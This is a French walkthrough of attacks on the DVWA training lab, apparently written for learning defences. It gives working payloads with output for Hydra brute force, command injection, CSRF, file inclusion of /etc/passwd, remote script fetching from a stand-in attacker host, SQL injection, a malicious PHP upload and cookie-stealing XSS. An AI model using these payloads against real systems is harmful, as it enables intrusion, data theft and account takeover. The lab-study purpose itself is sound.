Contexte :

Le but ici est de voir certaines attaques web, non pas pour devenir un hacker mais plus pour voir les manières de s'en prémunir dans d'autres billets. Les tests se feront en security low. Il est bon de rappeler que ce type d'attaque est strictement interdit par la loi !

DVWA kézako :

DVWA (Damn Vulnerable Web App) est une application PHP/MySQL qui possède une des vulnérabilités avec trois niveaux de sécurité low, medium et high.

Plan des tests :

Un poste attaquant sous Linux, un serveur hébergeant DVWA j'ai opté pour car en l'installant moi même bizarrement certaines attaques ne passée pas ce qui est gênant dans nos tests. Les sources de l'ISO sont disponible , personnellement j'ai pris la version 2.0.

Phases de tests :

 

Page de login :

Le login et mot de passe par défaut : admin/password Pour le test de brute force, voir l'article :

Item Brute Force :

hydra -L users.txt -P words.txt -v -V 192.168.5.41 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=brqt86los2cb9hm1cfukfo81m5"
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-26 22:04:25
[DATA] 8 tasks, 1 server, 8 login tries (l:2/p:4), ~1 try per task
[DATA] attacking service http-get-form on port 80
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.5.41 - login "iiiiiadmin" - pass "toto" - 1 of 8 [child 0]
[ATTEMPT] target 192.168.5.41 - login "iiiiiadmin" - pass "password" - 2 of 8 [child 1]
[ATTEMPT] target 192.168.5.41 - login "iiiiiadmin" - pass "otodd" - 3 of 8 [child 2]
[ATTEMPT] target 192.168.5.41 - login "iiiiiadmin" - pass "Ksd" - 4 of 8 [child 3]
[ATTEMPT] target 192.168.5.41 - login "admin" - pass "toto" - 5 of 8 [child 4]
[ATTEMPT] target 192.168.5.41 - login "admin" - pass "password" - 6 of 8 [child 5]
[ATTEMPT] target 192.168.5.41 - login "admin" - pass "otodd" - 7 of 8 [child 6]
[ATTEMPT] target 192.168.5.41 - login "admin" - pass "Ksd" - 8 of 8 [child 7]
[STATUS] attack finished for 192.168.5.41 (waiting for children to complete tests)
[80][www-form] host: 192.168.5.41   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-26 22:04:26

Le cookie de session PHP est récupérer sur une connexion courant via le plugin live HTTP sur Firefox.

Command Execution :

Commande : 127.0.0.1; ls /tmp

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.032 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.033 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.028/0.031/0.033/0.002 ms
hsperfdata_tomcat6
keyring-NI3HFc
orbit-dojo
pulse-2L9K88eMlGn7
pulse-PKdhtXMmr18n
ssh-scnLFiMj1036
tomcat6-tomcat6-tmp

ou

Commande : || ls /tmp

hsperfdata_tomcat6
keyring-NI3HFc
orbit-dojo
pulse-2L9K88eMlGn7
pulse-PKdhtXMmr18n
ssh-scnLFiMj1036
tomcat6-tomcat6-tmp

CSRF :

Via URL : http://192.168.5.41/dvwa/vulnerabilities/csrf/?password_new=tt&password_conf=tt&Change=Change#

Password Changed

Le but est de d'envoyer un mail avec un lien qui cache se type de requête malicieuse. Il est intéressant de demander une validation utilisateur lors de ces actions.
=> penser a remettre le mot de passe par défaut pour éviter les mauvaises surprises !

File inclusion :

Via URL : http://192.168.5.41/dvwa/vulnerabilities/fi/?page=/etc/passwd
ou
http://192.168.5.41/dvwa/vulnerabilities/fi/?page=data:,&cmd=hostname
ou
http://192.168.5.41/dvwa/vulnerabilities/fi/?page=data:,&cmd= http://serveur.pirate.com/script.malicieu.sh

SQL Injection :

Commande : toto' or '1

ID: toto' or '1
First name: admin
Surname: admin
ID: toto' or '1
First name: Gordon
Surname: Brown
ID: toto' or '1
First name: Hack
Surname: Me
ID: toto' or '1
First name: Pablo
Surname: Picasso
ID: toto' or '1
First name: Bob
Surname: Smith

Upload :

Créer un fichier appelé etcpass.php contenant :

Dans DVWA uploader le fichier, il vous informe que cela à fonctionner et fournit le chemin, ajouter le à l'URL courante :
URl : http://192.168.5.41/dvwa/vulnerabilities/upload/../../hackable/uploads/etcpass.php
et la bingo :

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/
......

XSS reflected :

<script>alert(document.cookie)</script>

ou

<IMG """><SCRIPT>alert("XSS MAISON")</SCRIPT>">

XSS stored :

La différence avec le XSS reflected, c'est que le XSS sera stocké
N'importe quoi dans le champ name et un des deux exemples du XSS reflected dans message, là il ne se passe pas grand chose mais aller dans un autre module et revenir sur XSS Stored, là la popup apparaît.